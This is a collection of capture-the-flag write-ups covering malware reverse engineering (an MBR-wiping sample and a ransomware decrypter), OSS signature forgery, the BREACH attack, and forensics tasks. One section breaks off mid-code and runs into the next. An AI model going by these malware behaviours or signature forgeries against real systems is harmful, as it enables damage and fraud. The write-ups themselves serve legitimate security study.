├── 2017-12-15-3dsctf └── reverse-engineering │ ├── IRC Bot Takeover-500 │ └── README.md │ ├── Rickle (and Morties) In Time-500 │ └── README.md │ ├── W32.killah-500 │ ├── README.md │ └── assets │ │ └── brokenmbr.png │ └── ransomware-500 │ ├── README.md │ └── assets │ ├── createfile.png │ └── functions.png ├── 2018-02-02-sharif-ctf ├── crypto │ └── OSS-Signature-100 │ │ ├── OSS_Signature.pdf │ │ └── README.md ├── forensics │ ├── BREACH-400 │ │ ├── README.md │ │ ├── wireshark-tftp.png │ │ └── wireshark_conversations.png │ ├── Client01-75 │ │ ├── README.md │ │ ├── client01.tar.gz │ │ ├── data │ │ └── flag.png │ ├── CrashedDB-50 │ │ ├── README.md │ │ └── crashed_db_diff.png │ ├── Hidden-100 │ │ ├── README.md │ │ └── dump.zip │ └── Stolen_Flag-200 │ │ └── README.md ├── misc │ ├── Fifteen-Puzzle-150 │ │ ├── README.md │ │ ├── puzzles.txt │ │ └── script.py │ ├── Nini-40 │ │ ├── Nini.jpg │ │ └── README.md │ ├── RichOil-400 │ │ ├── README.md │ │ ├── img │ │ │ ├── client_random.png │ │ │ ├── flag.png │ │ │ └── prefs.png │ │ └── tlsfuzzer.zip │ └── The_Skeleton_Key-200 │ │ ├── README.md │ │ ├── R_styleable.class.j │ │ ├── inkscape1.png │ │ ├── inkscape2.png │ │ ├── inkscape3.png │ │ └── logo.svg ├── pwn │ ├── OldSchool-NewAge │ │ └── README.md │ └── t00p_secrets │ │ ├── README.md │ │ ├── checksec.png │ │ ├── demo.png │ │ ├── exploit.py │ │ ├── libc6_2.23-0ubuntu10_amd64.so │ │ └── t00p_secrets ├── reverse-engineering │ ├── barnamak-200 │ │ ├── Find_Flag.apk │ │ └── README.md │ ├── crackme-150 │ │ └── README.md │ ├── findme-250 │ │ ├── README.md │ │ └── assets │ │ │ ├── injector.png │ │ │ └── youdone.png │ └── keygen-200 │ │ ├── README.md │ │ ├── exeinfo.png │ │ └── findpass └── web │ ├── Hello-Rules-10 │ └── README.md │ ├── Hidden-Input-50 │ └── README.md │ └── The-News-Hacker-150 │ └── README.md ├── 2018-02-10-harekaze-ctf ├── pwn │ ├── flea-attack-200 │ │ ├── README.md │ │ ├── flea_attack.elf │ │ └── solve.py │ └── harekaze-farm-100 │ │ ├── README.md │ │ └── harekaze_farm └── rev │ └── div-N-100 │ └── README.md ├── 2019-03-03-tamuctf └── network-pentest │ ├── altf4 │ └── README.md │ └── homework │ └── README.md ├── 2019-04-05-midnightsun-ctf ├── crypto │ ├── Ezdsa │ │ ├── EZDSA.tar.gz │ │ └── README.md │ └── Tulpan257 │ │ ├── README.md │ │ ├── solve.sage │ │ └── tulpan257.tar.gz └── programming │ └── polyshell │ ├── README.md │ ├── poc.asm │ └── solve.py ├── 2020-07-17-chujowyctf ├── flaky │ ├── README.md │ └── website_code │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── app.py │ │ ├── entrypoint.sh │ │ ├── requirements.txt │ │ └── website │ │ ├── __init__.py │ │ ├── app.py │ │ ├── models.py │ │ ├── oauth2.py │ │ ├── routes.py │ │ ├── settings.py │ │ └── templates │ │ ├── authorize.html │ │ ├── create_client.html │ │ └── home.html └── list_processor │ ├── README.md │ ├── binaryninja_FETCH.png │ ├── binaryninja_handle_command.png │ ├── gdbscript │ └── server └── README.md /2017-12-15-3dsctf/reverse-engineering/IRC Bot Takeover-500/README.md: -------------------------------------------------------------------------------- 1 | IRC Bot Takeover 2 | === 3 | **Category:** Reverse Engineering, **Points:** 500, **Solves:** 20 4 | 5 | > WARNING! DON'T EXECUTE THIS SAMPLE IN YOUR OWN PERSONAL MACHINE!!! 6 | > 7 | > Update: We had some problems with a specific step of the challenge (still possible to solve, but more hard) and we updated the binary. The new file has the old version, but you only need the new to solve. 8 | 9 | ### Write-up 10 | 11 | This write-up is about older version of the task. 12 | 13 | W32.killah tasks was about xoring strings so let's try to find xoring here also, after checking all functions (only few in executable), we find two functions that do xoring same as in the other task: 14 | 15 | void xor(char byte, char* text, int len) 16 | { 17 | do 18 | { 19 | *text++ ^= byte; 20 | --len; 21 | } 22 | while ( len ); 23 | } 24 | 25 | void xor_add(char byte, char* text, int len) 26 | { 27 | do 28 | { 29 | *text += byte; 30 | *text++ ^= byte; 31 | --len; 32 | } 33 | while ( len ); 34 | } 35 | 36 | Now, let's find references to them - luckily only 8 in total. Checking them all gives result: 37 | 38 | char part1[] = "% 81 | #include 82 | 83 | pid_t getpid() { 84 | return atoi(getenv("FAKEPID")); 85 | } 86 | 87 | Compile it: 88 | 89 | gcc -fPIC -shared -o fakepid.so fakepid.c 90 | 91 | and now run binaries the following way: 92 | 93 | $ export FAKEPID="0" && LD_PRELOAD=../fakepid.so ./rick 94 | $ export FAKEPID="1" && LD_PRELOAD=../fakepid.so ./morty-1 95 | $ export FAKEPID="2" && LD_PRELOAD=../fakepid.so ./morty-2 96 | $ export FAKEPID="3" && LD_PRELOAD=../fakepid.so ./morty-3 97 | $ export FAKEPID="4" && LD_PRELOAD=../fakepid.so ./morty-4 98 | 99 | This time when thoses process call `getpid` function, my overriden function will be called insted of the one from libc. Now all processes are synchronized! 100 | 101 | $ cat neckless-device 102 | rick-0-0 103 | morty-1-1-0 104 | morty-2-2-0 105 | morty-3-3-0 106 | morty-4-4-0 107 | rick-0-1 108 | morty-1-1-1 109 | morty-2-2-1 110 | morty-3-3-1 111 | morty-4-4-1 112 | rick-0-2 113 | morty-1-1-2 114 | morty-2-2-2 115 | morty-3-3-2 116 | morty-4-4-2 117 | rick-0-3 118 | morty-1-1-3 119 | morty-2-2-3 120 | ... 121 | 122 | After few seconds they all end and rick says: 123 | 124 | Jesus, Morty! The gun was in reverse mode... 125 | 126 | The file `earth-137` contains text which looks like base64 encoded, however decoding doesn't give any reasonable result: 127 | 128 | $ base64 --decode < earth-137 > decoded 129 | $ file decoded 130 | decoded: data 131 | 132 | It turned out the clue is in last `rick` message: 133 | 134 | > The gun was in **reverse mode**... 135 | 136 | We need to reverse `earth-137` first! 137 | 138 | $ rev earth-137 | base64 --decode > decoded 139 | $ file decoded 140 | decoded: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=731e9f329f5597f85ad1a6e4b59301c7c4395e6c, not stripped 141 | 142 | And the result is another executable file... Let it be flag: 143 | 144 | $ ./decoded 145 | 3DS{Wubba-luBBa-dUb-Dub} 146 | 147 | Flag found! 148 | 149 | 150 | ###### Bartek aka bandysc 151 | -------------------------------------------------------------------------------- /2017-12-15-3dsctf/reverse-engineering/W32.killah-500/README.md: -------------------------------------------------------------------------------- 1 | W32.killah 2 | === 3 | **Category:** Reverse Engineering, **Points:** 500, **Solves:** 19 4 | 5 | > Caution.. "The flag is over there.." 6 | > 7 | > Password: "infected!" 8 | > 9 | > WARNING! DON'T EXECUTE THIS SAMPLE IN YOUR OWN PERSONAL MACHINE!!! 10 | 11 | ### Write-up 12 | 13 | Again authors warn us not to run this executable on personal machine, so let's run it on virtual machine. Console pops up, windows restarts, well we know it happens and... windows doesn't start up 14 | 15 | ![](assets/brokenmbr.png) 16 | 17 | The excecutable overriden MBR... Luckily I haven't run it on my machine. 18 | 19 | So let's see what is inside. This time executable is really simple. There is function which adds and xors bytes 20 | 21 | .text:004011A9 xor_add 22 | .text:004011AB loopstep: 23 | .text:004011AB add [edx], al 24 | .text:004011AD xor [edx], al 25 | .text:004011AF inc edx 26 | .text:004011B0 loop loopstep 27 | 28 | To each byte in array under `edx` address, it adds value from `al`, then xors it with `al`, `ecx` contains length of byte array (`loop` instruction decrements `ecx` each time and jumps if it is nonzero). 29 | 30 | So in the `start` function, we use `xor_add` with byte `@` and array of 14 bytes. However manually add and xor doesn't give printable results. Let's go further. Then some other function is called which opens file `\\.\PhysicalDrive0`.... So we know what has overriden the MBR. And on the first sight that's all. So where is the flag then? 31 | 32 | After more investigation it turnes out there is unused code which again calls `xor_add` on the same byte array, this time with space char (` `). Then let's try to `xor_add` two times - firstly with byte `@`, then space: 33 | 34 | void xor_add(char chr, char* array, int len) 35 | { 36 | while (len--) 37 | { 38 | *array += chr; 39 | *array++ ^= chr; 40 | } 41 | } 42 | 43 | int main() 44 | { 45 | char flag1[] = {115, -60, -45, 59, 45, 116, 44, 55, -64, 50, 115, -33, 113, 0, -77, -33, -90, -75, -93, -53, -87, -82, -57, -33, -90, -75, -82, -31, -67, 0, 0}; 46 | xor_add('@', flag1, 14); 47 | xor_add(' ', flag1, 14); 48 | 49 | printf("%s\n\n", flag1); 50 | } 51 | 52 | The result looks really good! 53 | 54 | 3DS{m4lw@r3_1 55 | 56 | but it certainly doesn't look like whole flag. Let's check references to our function `xor_add` and it shows us two more calls on array elements `14 - 30`. This time firstly against space, then `@`. 57 | 58 | xor_add(' ', flag1+13, 16); 59 | xor_add('@', flag1+13, 16); 60 | 61 | and we have the rest of the flag: `s_fucKinG_fun!}`. So the whole flag is: 62 | 63 | 64 | 3DS{m4lw@r3_1s_fucKinG_fun!} 65 | 66 | What is the conclusion? Do not run unknown executables! 67 | 68 | ###### Bartek aka bandysc 69 | -------------------------------------------------------------------------------- /2017-12-15-3dsctf/reverse-engineering/W32.killah-500/assets/brokenmbr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2017-12-15-3dsctf/reverse-engineering/W32.killah-500/assets/brokenmbr.png -------------------------------------------------------------------------------- /2017-12-15-3dsctf/reverse-engineering/ransomware-500/README.md: -------------------------------------------------------------------------------- 1 | Ransomware 2 | === 3 | **Category:** Reverse Engineering, **Points:** 500, **Solves:** 48 4 | 5 | > WARNING! DON'T EXECUTE THIS SAMPLE IN YOUR OWN PERSONAL MACHINE!!! 6 | 7 | ### Write-up 8 | 9 | Safety first, so I have listened to authors and run the given windows portable executable in virtual machine. We are greeted by message: 10 | 11 | @@@@@@@@@@ @@@@@@ @@@@@@@ @@@@@@ @@@ @@@ 12 | @@@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@ 13 | @@! @@! @@! @@! @@@ !@@ @@! @@@ @@! @@@ 14 | !@! !@! !@! !@! @!@ !@! !@! @!@ !@! @!@ 15 | @!! !!@ @!@ @!@ !@! !@! @!@ !@! @!@!@!@! 16 | !@! ! !@! !@! !!! !!! !@! !!! !!!@!!!! 17 | !!: !!: !!: !!! :!! !!: !!! !!: !!! 18 | :!: :!: :!: !:! :!: :!: !:! :!: !:! 19 | ::: :: ::::: :: ::: ::: ::::: :: :: ::: 20 | : : : : : :: :: : : : : : : : 21 | --------------------------------------------------- 22 | -====<( mocoh ransomware decrypter! )>====- 23 | --------------------------------------------------- 24 | ATTENTION!! do not try to decrypt if you did not 25 | purchase our product. A wrong attempt can cause 26 | irreversible damage... Be responsible! 27 | Doubts, criticisms and suggestions are important 28 | to improve our service. Thank you! (SWaNk) 29 | --------------------------------------------------- 30 | Enter the purchased key: 31 | 32 | The flag is encrypted so what worse can happen? 33 | 34 | Enter the purchased key: abcd 35 | Do you have backup right? Otherwise you are fucked... 36 | 37 | And after few seconds Windows shuts down (and sadly I didn't guessed password). 38 | 39 | Before we start analysis let's disarm the executable, so that it will not turn off the computer even if we put wrong password. Take a look at functions inside binary 40 | 41 | ![](assets/functions.png) 42 | 43 | Luckily there is no magic to shut down the computer - it simply calls function `ExitWindowsEx`, which calls imported WinAPI function: 44 | 45 | .text:004008DE ExitWindowsEx proc near 46 | .text:004008DE jmp __imp_ExitWindowsEx 47 | .text:004008DE ExitWindowsEx endp 48 | 49 | PE loader fills memory under address `__imp_ExitWindowsEx` by actual address of Windows function. Let's just replace it with `NOPs`: 50 | 51 | .text:004008DE ExitWindowsEx: 52 | .text:004008DE nop 53 | .text:004008DF nop 54 | .text:004008E0 nop 55 | .text:004008E1 nop 56 | .text:004008E2 nop 57 | .text:004008E3 nop 58 | .text:004008E4 ExitProcess: 59 | 60 | Quick test - same wrong password and now at least our unsave work is safe. IDA comes with really good decompiler, but this task shows that we shouldn't trust it even in simple programs: 61 | 62 | void sub_40023B() 63 | { 64 | char _0; 65 | sub_400798(); 66 | console_print("\r\n"); 67 | console_print(" @@@@@@@@@@ @@@@@@ @@@@@@@ @@@@@@ @@@ @@@"); 68 | console_print("\r\n"); 69 | console_print(" @@@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@"); 70 | console_print("\r\n"); 71 | console_print(" @@! @@! @@! @@! @@@ !@@ @@! @@@ @@! @@@"); 72 | console_print("\r\n"); 73 | console_print(" !@! !@! !@! !@! @!@ !@! !@! @!@ !@! @!@"); 74 | console_print("\r\n"); 75 | console_print(" @!! !!@ @!@ @!@ !@! !@! @!@ !@! @!@!@!@!"); 76 | console_print("\r\n"); 77 | console_print(" !@! ! !@! !@! !!! !!! !@! !!! !!!@!!!!"); 78 | console_print("\r\n"); 79 | console_print(" !!: !!: !!: !!! :!! !!: !!! !!: !!!"); 80 | console_print("\r\n"); 81 | console_print(" :!: :!: :!: !:! :!: :!: !:! :!: !:!"); 82 | console_print("\r\n"); 83 | console_print(" ::: :: ::::: :: ::: ::: ::::: :: :: :::"); 84 | console_print("\r\n"); 85 | console_print(" : : : : : :: :: : : : : : : :"); 86 | console_print("\r\n"); 87 | console_print(" ---------------------------------------------------"); 88 | console_print("\r\n"); 89 | console_print(" -====<( mocoh ransomware decrypter! )>====-"); 90 | console_print("\r\n"); 91 | console_print(" ---------------------------------------------------"); 92 | console_print("\r\n"); 93 | console_print(" ATTENTION!! do not try to decrypt if you did not "); 94 | console_print("\r\n"); 95 | console_print(" purchase our product. A wrong attempt can cause "); 96 | console_print("\r\n"); 97 | console_print(" irreversible damage... Be responsible! "); 98 | console_print("\r\n"); 99 | console_print(" Doubts, criticisms and suggestions are important "); 100 | console_print("\r\n"); 101 | console_print(" to improve our service. Thank you! (SWaNk) "); 102 | console_print("\r\n"); 103 | console_print(" ---------------------------------------------------"); 104 | console_print("\r\n"); 105 | console_print(" Enter the purchased key: "); 106 | console_read(&password, 8); 107 | console_print("\r\n"); 108 | console_print(" Do you have backup right? Otherwise you are fucked..."); 109 | console_print("\r\n"); 110 | console_print("\r\n"); 111 | Sleep(1500); 112 | RtlAdjustPrivilege(19, 1, 0, &_0); 113 | return ExitWindowsEx(2, 10); 114 | } 115 | 116 | It looks like no matter what password we type, it always shut down computer... but if we look at assembly... it turns out 117 | 118 | .text:004003D0 push 8 119 | .text:004003D2 push offset password 120 | .text:004003D7 call console_read 121 | --> .text:004003DC cmp password, '52' 122 | .text:004003E5 jnz short invalid_1 123 | .text:004003E7 mov al, byte_4009BA 124 | .text:004003EC mov ecx, 9 125 | .text:004003F1 dec ecx 126 | .text:004003F2 lea edx, dword_400984 127 | .text:004003F8 call sub_4005D0 128 | .text:004003FD push offset dword_400984 129 | .text:00400402 call console_print 130 | .text:00400407 jmp short continue_check 131 | .text:00400409 ; --------------------------------------------------------------- 132 | .text:00400409 133 | .text:00400409 invalid_1: 134 | .text:00400409 push offset asc_400E74 ; "\r\n" 135 | .text:0040040E call console_print 136 | .text:00400413 push offset aDoYouHaveBacku ; " Do you have backup right? Otherwise y"... 137 | .text:00400418 call console_print 138 | .text:0040041D push offset asc_400EB0 ; "\r\n" 139 | .text:00400422 call console_print 140 | .text:00400427 push offset asc_400EB4 ; "\r\n" 141 | .text:0040042C call console_print 142 | .text:00400431 jmp exit_procedure 143 | .text:00400436 ; -------------------------------------------------- 144 | .text:00400436 145 | .text:00400436 continue_check: 146 | --> .text:00400436 cmp password_offset_2, '30' 147 | .text:0040043F jnz short invalid_2 148 | .text:00400441 mov al, byte_4009BB 149 | .text:00400446 mov ecx, 9 150 | .text:0040044B dec ecx 151 | .text:0040044C lea edx, byte_40098D 152 | .text:00400452 call sub_4005D0 153 | .text:00400457 push offset byte_40098D 154 | .text:0040045C call console_print 155 | .text:00400461 jmp short continue_check_2 156 | .text:00400463 ; --------------------------------------------------- 157 | .text:00400463 158 | .text:00400463 invalid_2: 159 | .text:00400463 push offset asc_400EB8 ; "\r\n" 160 | .text:00400468 call console_print 161 | .text:0040046D push offset aFuckItThen___ ; " Fuck it then..." 162 | .text:00400472 call console_print 163 | .text:00400477 push offset asc_400ECE ; "\r\n" 164 | .text:0040047C call console_print 165 | .text:00400481 push offset asc_400ED4 ; "\r\n" 166 | .text:00400486 call console_print 167 | .text:0040048B jmp exit_procedure 168 | .text:00400490 ; --------------------------------------------------- 169 | .text:00400490 170 | .text:00400490 continue_check_2: 171 | --> .text:00400490 cmp password_offset_4, '91' 172 | .text:00400499 jnz short invalid_3 173 | .text:0040049B mov al, byte_4009BC 174 | .text:004004A0 mov ecx, 9 175 | .text:004004A5 dec ecx 176 | .text:004004A6 lea edx, word_400996 177 | .text:004004AC call sub_4005D0 178 | .text:004004B1 push offset word_400996 179 | .text:004004B6 call console_print 180 | .text:004004BB jmp short continue_check_3 181 | .text:004004BD ; --------------------------------------------------- 182 | .text:004004BD 183 | .text:004004BD invalid_3: 184 | .text:004004BD push offset asc_400ED8 ; "\r\n" 185 | .text:004004C2 call console_print 186 | .text:004004C7 push offset aGoFuckYourself ; " Go fuck yourself." 187 | .text:004004CC call console_print 188 | .text:004004D1 push offset asc_400EF0 ; "\r\n" 189 | .text:004004D6 call console_print 190 | .text:004004DB push offset asc_400EF4 ; "\r\n" 191 | .text:004004E0 call console_print 192 | .text:004004E5 jmp exit_procedure 193 | .text:004004EA ; --------------------------------------------- 194 | .text:004004EA 195 | .text:004004EA continue_check_3: 196 | --> .text:004004EA cmp password_offset_6, '97' 197 | .text:004004F3 jnz short invalid_4 198 | .text:004004F5 mov al, byte_4009BD 199 | .text:004004FA mov ecx, 0Ah 200 | .text:004004FF dec ecx 201 | .text:00400500 lea edx, byte_40099F 202 | .text:00400506 call sub_4005D0 203 | .text:0040050B push offset byte_40099F 204 | .text:00400510 call console_print 205 | .text:00400515 jmp short password_ok 206 | .text:00400517 ; ----------------------------------------------- 207 | .text:00400517 208 | .text:00400517 invalid_4: 209 | .text:00400517 push offset asc_400EF8 ; "\r\n" 210 | .text:0040051C call console_print 211 | .text:00400521 push offset aAreYouFuckingW ; " Are you fucking with me?" 212 | .text:00400526 call console_print 213 | .text:0040052B push offset asc_400F17 ; "\r\n" 214 | .text:00400530 call console_print 215 | .text:00400535 push offset asc_400F1C ; "\r\n" 216 | .text:0040053A call console_print 217 | .text:0040053F jmp short exit_procedure 218 | .text:00400541 ; ---------------------------------------------- 219 | .text:00400541 220 | .text:00400541 password_ok: 221 | .text:00400541 push offset dword_400984 222 | .text:00400546 push offset dword_4012C0 223 | .text:0040054B call lstrcpyA 224 | .text:00400550 push offset byte_40098D 225 | .text:00400555 push offset dword_4012C0 226 | .text:0040055A call lstrcatA 227 | .text:0040055F push offset word_400996 228 | .text:00400564 push offset dword_4012C0 229 | .text:00400569 call lstrcatA 230 | .text:0040056E push offset byte_40099F 231 | .text:00400573 push offset dword_4012C0 232 | .text:00400578 call lstrcatA 233 | .text:0040057D push offset aSfsqSicriSfsq ; "OFSFn¦ßdµa¬OFSFn" 234 | .text:00400582 call sub_4005DA 235 | .text:00400587 push offset asc_400F20 ; "\r\n" 236 | .text:0040058C call console_print 237 | .text:00400591 push offset aThanksForUsing ; " Thanks for using our products! BRegar"... 238 | .text:00400596 call console_print 239 | .text:0040059B push offset asc_400F4F ; "\r\n" 240 | .text:004005A0 call console_print 241 | .text:004005A5 push offset asc_400F54 ; "\r\n" 242 | .text:004005AA call console_print 243 | .text:004005AF retn 244 | 245 | 246 | The password is checked as 4 separate int16, thus decompiler didn't understand that values under thoses addreses are user input and treated those conditions as always false. So the password is checked against shorts: `0x3532, 0x3330, 0x3931, 0x3937`. Since x86 cpus use little endian byte order, we must reverse bytes to recover password: `0x32, 0x35, 0x30, 0x33, 0x31, 0x39, 0x37, 0x39 == "25031979"` and it is correct password: 247 | 248 | seurubucantasseeucolocavanagaiola 249 | Thanks for using our products! BRegards! 250 | 251 | Press any key to continue ... 252 | 253 | but given file `flag.mocoh` is still encrypted... Let's check references to `ReadFile`: 254 | 255 | p sub_4005DA+3C call ReadFile 256 | p console_read+29 call ReadFile 257 | 258 | Second one in reading from standard input, so we ignore it, lets put breakpoint in first function: 259 | 260 | ![](assets/createfile.png) 261 | 262 | oh! so it reads file `flag.mocoh` from folder `mocoh`. Let's put that file in the folder and run it again. 263 | 264 | $ cat mocoh/flag.mocoh 265 | 3DS{4sS3mbly_r0cks!!} 266 | 267 | 268 | ###### Bartek aka bandysc 269 | -------------------------------------------------------------------------------- /2017-12-15-3dsctf/reverse-engineering/ransomware-500/assets/createfile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2017-12-15-3dsctf/reverse-engineering/ransomware-500/assets/createfile.png -------------------------------------------------------------------------------- /2017-12-15-3dsctf/reverse-engineering/ransomware-500/assets/functions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2017-12-15-3dsctf/reverse-engineering/ransomware-500/assets/functions.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/crypto/OSS-Signature-100/OSS_Signature.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/crypto/OSS-Signature-100/OSS_Signature.pdf -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/crypto/OSS-Signature-100/README.md: -------------------------------------------------------------------------------- 1 | OSS Signature 2 | === 3 | 4 | **Category:** Crypto **Points:** 100 5 | 6 | [Download (original specs)](OSS_Signature.pdf) 7 | 8 | ### Write-up 9 | 10 | This was one of two challenges during SharifCTF 2018 contest concerning the Ong-Schnorr-Shamir signature scheme and a pretty straightforward one. 11 | 12 | In short, security of the OSS scheme is based on the hardness of solving equations of the form 13 | 14 |

15 | 16 |

17 | 18 | in variables and modulo a composite RSA modulus . For a public key a signature on a given message is any pair for which the above relation holds. The problem of finding, say, for given and is equivalent to factoring (as in [the Rabin signature scheme](https://en.wikipedia.org/wiki/Rabin_cryptosystem)). 19 | 20 | In the challenge, we are provided with a public key and two messages and with corresponding signatures and , respectively. The goal is to craft a valid signature on the product of and . This can be done with ease as the OSS scheme is malleable. Namely, the following identity holds over integers: 21 | 22 |

23 | 24 |

25 | 26 | where 27 | 28 |

29 | 30 |

31 | 32 | After computing 33 | 34 | ```python 35 | x3 = (x1 * x2 + k*y1*y2) % n 36 | y3 = (x1 * y2 - y1 * x2) % n 37 | ``` 38 | 39 | we get that the pair , where 40 | 41 | ``` 42 | x3=3228192414578958851010842513154275809496752450843437198583166196901565071578144066800517210864829309956656172864622172889502523814134130877601254638400747755883616155295299435314390972047946113969350548381594633322779945307216665767237995638888452882989503186673207123359630734140939449837354851424900356484212983667331443801108560693455298625538140549843770730178132648956596007707374948190919655158210892858713252214782069457662864873988983041011930880072395421594443371267339482128681654521226571357238152202622389403367075320562466814355917951666554746996134626758309948472069549094989922908904448493268680406656 43 | y3=518211291241825120181140993092343983770941887615321384844260199425792523199755041385119471907237849603159990373526771913427402452760004430627136113781638542767114113264285000466398106908417951520749203743404777034613190657137114341923476307793861309763818494314271906586789936425240207459021063361770273109412368272889165718779882091684440429454382783604840684421214437897887818039810429139216497093192387409059198251459001969178988926945417318424698086613437960638555659525583532581962406409400074841700047111118522735841781583725367240630089427247980009202413865204658013579671962256648081403159372023040686179602 44 | ``` 45 | is a valid signature on . 46 | Submitting this signature to the verification system yielded the flag: `SharifCTF{aea9d91c12817a8f5a19b37ee9e1b1d6}`. -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/forensics/BREACH-400/README.md: -------------------------------------------------------------------------------- 1 | BREACH 2 | === 3 | **Category:** Forensics **Points:** 400, **Solves:** 1, **Our rank:** 1 4 | 5 | > The attacker has infiltrated our network and stoled our token. 6 | > we captured packets that the attacker's sniffer module send to him. 7 | > can you tell us what token was extracted? Attacker knows our token format is : token={[a-z]{32}} 8 | > The flag is SharifCTF{Token}. 9 | 10 | ### Write-up 11 | 12 | We are given a pcap file, a quick look shows many TFTP packets. Fortunately wireshark can easily help with that: 13 | 14 | ![Wireshark export tftp objects](wireshark-tftp.png) 15 | 16 | We obtain `linear.rar` file, which contains a single `linear.pcap` file. Here we go again: 17 | 18 | ![Wireshark conversations](wireshark_conversations.png) 19 | 20 | This time we see multiple short TLS 1.2 sessions. Closer look reveals they are very similar, each consists of a single request and response and all are of similar sizes. 21 | This definitely looks like some kind of attack agains tls, and challenge name helps to find [breachattack.com](http://breachattack.com). 22 | 23 | This is a very creative attack abusing http compression and the fact that tls does not hide length of transmitted data to obtain parts of plaintext. 24 | The basic idea is that if response contains secret data and reflects some of the data from request, it might compress slightly better if secret data is repeated in reflected data. 25 | For example, consider query 26 | 27 | ``` 28 | GET vunlsite.com/?q=token%3Da 29 | ``` 30 | 31 | If the response looks like that: 32 | 33 | ``` 34 | You searched for: token=a 35 | Attached file is the homepage of the client01. He knows the flag. 6 | > 7 | > [Download](client01.tar.gz) 8 | 9 | ### Write-up 10 | In the task we are given a file structure of mysterious client01. There's nothing in visible files, let's try searching for `sharif` or `Sharif`. 11 | 12 | `grep -r Sharif .` returns nothing, but `grep -r sharif .`does: 13 | 14 | ``` 15 | Binary file ./.thunderbird/5bd7jhog.default/global-messages-db.sqlite matches 16 | ./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail: for 17 | ./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail:To: contest@cert.sharif.edu 18 | ./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash: for 19 | ./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash:To: contest@cert.sharif.edu 20 | ``` 21 | 22 | In `Sent Mail` file there's nothing interesting, but in `Trash` we find this: 23 | 24 | ``` 25 | Received: by 10.46.97.9 with HTTP; Tue, 23 Jan 2018 20:54:23 -0800 (PST) 26 | From: dev null 27 | Date: Wed, 24 Jan 2018 08:24:23 +0330 28 | Message-ID: 29 | Subject: flag 30 | To: devnull2018@gmail.com 31 | Content-Type: multipart/alternative; boundary="94eb2c1a636603369f05637e75da" 32 | 33 | --94eb2c1a636603369f05637e75da 34 | Content-Type: text/plain; charset="UTF-8" 35 | 36 | http://www.filehosting.org/file/details/720884/file 37 | 38 | --94eb2c1a636603369f05637e75da 39 | Content-Type: text/html; charset="UTF-8" 40 | 41 |
http://www.filehosting.org/file/details/720884/file We lost some data when we were delivering our DB. 6 | > Can you recover it?? 7 | > Hint: SQLite 8 | 9 | ### Write-up 10 | We are given a single file called `db0.db`, containing binary data. `File` gives some result: 11 | 12 | 13 | ``` 14 | $ file db0.db 15 | db0.db: dBase III DBT, version number 0, next free block index 13 16 | ``` 17 | 18 | but it's misleading - it is some old database format, nothing to do with sqlite. `Hexdump` is more helpful: 19 | 20 | ``` 21 | mdebski@rockstar:~/ctf/sharif-8/crashed_db$ hexdump -C db0.db 22 | 00000000 0d 00 00 00 01 0f a5 00 0f a5 00 00 00 00 00 00 |................| 23 | 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 24 | * 25 | 00000f40 00 59 01 07 17 13 13 01 81 19 74 61 62 6c 65 74 |.Y........tablet| 26 | 00000f50 62 6c 74 62 6c 02 43 52 45 41 54 45 20 54 41 42 |bltbl.CREATE TAB| 27 | 00000f60 4c 45 20 74 62 6c 20 28 47 6c 61 66 20 76 61 72 |LE tbl (Glaf var| 28 | 00000f70 63 68 61 72 28 31 35 29 2c 20 46 6c 61 67 20 76 |char(15), Flag v| 29 | 00000f80 61 72 63 68 61 72 28 31 29 2c 20 4c 66 61 67 20 |archar(1), Lfag | 30 | 00000f90 76 61 72 63 68 61 72 28 31 35 29 29 0d 00 00 00 |varchar(15))....| 31 | 00000fa0 2b 0c 46 00 0f e4 0f d4 0f bc 0f a0 0f 87 0f 7d |+.F............}| 32 | 00000fb0 0f 6c 0f 55 0f 3c 0f 1d 0f 0a 0e f2 0e d4 0e ca |.l.U.<..........| 33 | 00000fc0 0e ba 0e a6 0e 8e 0e 78 0e 5f 0e 4b 0e 38 0e 1e |.......x._.K.8..| 34 | 00000fd0 0e 02 0d f0 0d d2 0d be 0d ac 0d 94 0d 7e 0d 74 |.............~.t| 35 | 00000fe0 0d 66 0d 4f 0d 40 0d 30 0d 1a 0c fc 0c df 0c c9 |.f.O.@.0........| 36 | 00000ff0 0c b2 0c 90 0c 79 0c 61 0c 46 00 00 00 00 00 00 |.....y.a.F......| 37 | 00001000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 38 | * 39 | 00001be0 00 00 19 2b 04 1b 0f 27 34 78 4e 54 37 40 56 7d |...+...'4xNT7@V}| 40 | 41 | // Some seemingly random binary data omitted 42 | 43 | 00001f90 37 6c 78 4f 53 4e 23 78 34 7a 41 76 |7lxOSN#x4zAv| 44 | ``` 45 | 46 | String `CREATE TABLE tbl (Glaf varchar(15), Flag varchar(1), Lfag varchar(15))` is clearly visible. Hint mentions sqlite, so let's try! 47 | 48 | ``` 49 | $ sqlite3 valid.db 50 | SQLite version 3.19.3 2017-06-08 14:26:16 51 | Enter ".help" for usage hints. 52 | sqlite> CREATE TABLE tbl (Glaf varchar(15), Flag varchar(1), Lfag varchar(15)); 53 | sqlite> ^D 54 | $ vimdiff <(hexdump -vC db0.db) <(hexdump -vC 